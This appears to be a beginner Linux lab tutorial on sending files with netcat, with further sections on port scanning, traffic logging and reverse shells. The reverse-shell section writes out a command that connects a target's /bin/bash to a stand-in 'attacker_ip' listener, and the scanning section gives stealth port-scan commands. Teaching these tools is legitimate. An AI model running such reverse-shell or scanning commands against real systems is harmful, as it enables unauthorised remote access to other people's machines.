How to send a file using netcat (nc) on Linux

LinuxLinuxBeginner
Practice Now

Introduction

Netcat, often referred to as nc, is a powerful network utility tool in the Linux operating system. It can be used for a variety of network-related tasks, including file transfers, port scanning, reverse shell creation, and more. This tutorial will guide you through understanding the basics of Netcat and demonstrate how to use it to transfer files between Linux systems.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL linux(("`Linux`")) -.-> linux/PackagesandSoftwaresGroup(["`Packages and Softwares`"]) linux(("`Linux`")) -.-> linux/RemoteAccessandNetworkingGroup(["`Remote Access and Networking`"]) linux/PackagesandSoftwaresGroup -.-> linux/curl("`URL Data Transferring`") linux/PackagesandSoftwaresGroup -.-> linux/wget("`Non-interactive Downloading`") linux/RemoteAccessandNetworkingGroup -.-> linux/ssh("`Secure Connecting`") linux/RemoteAccessandNetworkingGroup -.-> linux/scp("`Secure Copying`") linux/RemoteAccessandNetworkingGroup -.-> linux/sftp("`Secure File Transferring`") linux/RemoteAccessandNetworkingGroup -.-> linux/ftp("`File Transferring`") linux/RemoteAccessandNetworkingGroup -.-> linux/netstat("`Network Monitoring`") linux/RemoteAccessandNetworkingGroup -.-> linux/ping("`Network Testing`") linux/RemoteAccessandNetworkingGroup -.-> linux/nc("`Networking Utility`") subgraph Lab Skills linux/curl -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/wget -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/ssh -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/scp -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/sftp -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/ftp -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/netstat -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/ping -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} linux/nc -.-> lab-415801{{"`How to send a file using netcat (nc) on Linux`"}} end

Understanding Netcat (nc)

Netcat, often referred to as nc, is a powerful network utility tool in the Linux operating system. It is a command-line interface tool that can be used for a variety of network-related tasks, including file transfers, port scanning, reverse shell creation, and more.

At its core, Netcat is a simple tool that can read and write data across network connections using the TCP/IP protocol. It can be used as a client or a server, allowing for bidirectional communication between two systems.

One of the primary use cases for Netcat is file transfer. By leveraging its ability to establish network connections, Netcat can be used to send and receive files between two systems. This can be particularly useful in scenarios where traditional file transfer methods, such as FTP or SFTP, are not available or practical.

Another common use case for Netcat is port scanning. Netcat can be used to scan a remote system for open ports, which can be useful for network reconnaissance or security testing. By connecting to different ports on a target system, Netcat can determine which ports are open and potentially vulnerable to exploitation.

Netcat can also be used to create reverse shells, which can be a powerful tool for system administrators and security professionals. A reverse shell allows a remote system to connect back to the attacker's machine, providing access to the target system's command-line interface.

To demonstrate the usage of Netcat, let's consider a simple example of transferring a file between two Ubuntu 22.04 systems:

## On the server system
nc -l -p 8080 > received_file.txt

## On the client system
nc server_ip 8080 < file_to_send.txt

In this example, the server system listens on port 8080 using the nc -l -p 8080 command, and the client system connects to the server's IP address and port using nc server_ip 8080 and sends the file file_to_send.txt. The received file is saved as received_file.txt on the server system.

Netcat's versatility and simplicity make it a valuable tool for network administrators, security professionals, and developers working with Linux systems.

Transferring Files with Netcat (nc)

One of the most common use cases for Netcat is transferring files between systems. Netcat's ability to establish network connections makes it a versatile tool for this purpose, as it allows for the direct transfer of data without the need for additional file transfer protocols or software.

To transfer a file using Netcat, you can follow a simple client-server model. On the server system, you will use Netcat to listen on a specific port and redirect the incoming data to a file. On the client system, you will use Netcat to connect to the server's IP address and port, and then send the file to be transferred.

Here's an example of how to transfer a file between two Ubuntu 22.04 systems using Netcat:

## On the server system
nc -l -p 8080 > received_file.txt

## On the client system
nc server_ip 8080 < file_to_send.txt

In this example, the server system listens on port 8080 using the nc -l -p 8080 command, and the client system connects to the server's IP address and port using nc server_ip 8080 and sends the file file_to_send.txt. The received file is saved as received_file.txt on the server system.

Netcat also supports transferring files in the opposite direction, where the server can send a file to the client. This can be achieved by simply swapping the input and output redirection in the commands:

## On the server system
nc -l -p 8080 < file_to_send.txt

## On the client system
nc server_ip 8080 > received_file.txt

In this case, the server system sends the file file_to_send.txt to the client system, which saves the received file as received_file.txt.

Netcat's file transfer capabilities make it a useful tool for a variety of scenarios, such as:

  • Transferring files between systems without a shared file system
  • Sending configuration files or scripts to remote systems
  • Backup and restore operations
  • Distributing software or updates to multiple systems

By understanding how to use Netcat for file transfers, you can streamline various administrative and development tasks in your Linux environment.

Netcat (nc) Usage Scenarios

Netcat is a versatile tool with a wide range of applications beyond simple file transfers. In this section, we'll explore some of the common usage scenarios for Netcat in a Linux environment.

Port Scanning

One of the popular use cases for Netcat is port scanning. By connecting to different ports on a target system, Netcat can be used to determine which ports are open and potentially vulnerable to exploitation. This information can be valuable for network administrators and security professionals when assessing the security posture of a system.

## Scan a single port
nc -z target_ip 80

## Scan a range of ports
nc -z target_ip 1-1000

In the above examples, the -z option instructs Netcat to scan the specified ports without sending any data, making it a stealthy port scanning tool.

Reverse Shells

Netcat can also be used to create reverse shells, which allow a remote system to connect back to the attacker's machine. This can be a powerful tool for system administrators and security professionals, as it provides access to the target system's command-line interface.

## On the attacker's system (listener)
nc -l -p 4444

## On the target system (reverse shell)
nc attacker_ip 4444 -e /bin/bash

In this example, the attacker's system listens on port 4444 using nc -l -p 4444, and the target system connects back to the attacker's IP address and port using nc attacker_ip 4444 -e /bin/bash, effectively establishing a reverse shell.

Logging and Monitoring

Netcat can be used for logging and monitoring network activity. By redirecting Netcat's input or output to files, you can capture and analyze network traffic, which can be useful for troubleshooting or security purposes.

## Logging incoming connections
nc -l -p 8080 > connection_log.txt

## Monitoring network traffic
nc -l -p 8080 | tee traffic_log.txt

In the first example, Netcat listens on port 8080 and redirects the incoming connections to the connection_log.txt file. In the second example, Netcat listens on port 8080 and pipes the incoming data to both the terminal (using tee) and the traffic_log.txt file.

These are just a few examples of the many usage scenarios for Netcat in a Linux environment. By understanding the capabilities of this versatile tool, you can streamline various administrative, security, and development tasks in your Linux systems.

Summary

Netcat is a versatile network utility that can be used for a variety of tasks, including file transfers, port scanning, and reverse shell creation. By leveraging its ability to establish network connections, Netcat can be a valuable tool for system administrators and security professionals. This tutorial has provided an overview of Netcat's capabilities and demonstrated how to use it to transfer files between Linux systems. With the knowledge gained, you can now explore more advanced use cases and incorporate Netcat into your Linux workflow.

Other Linux Tutorials you may like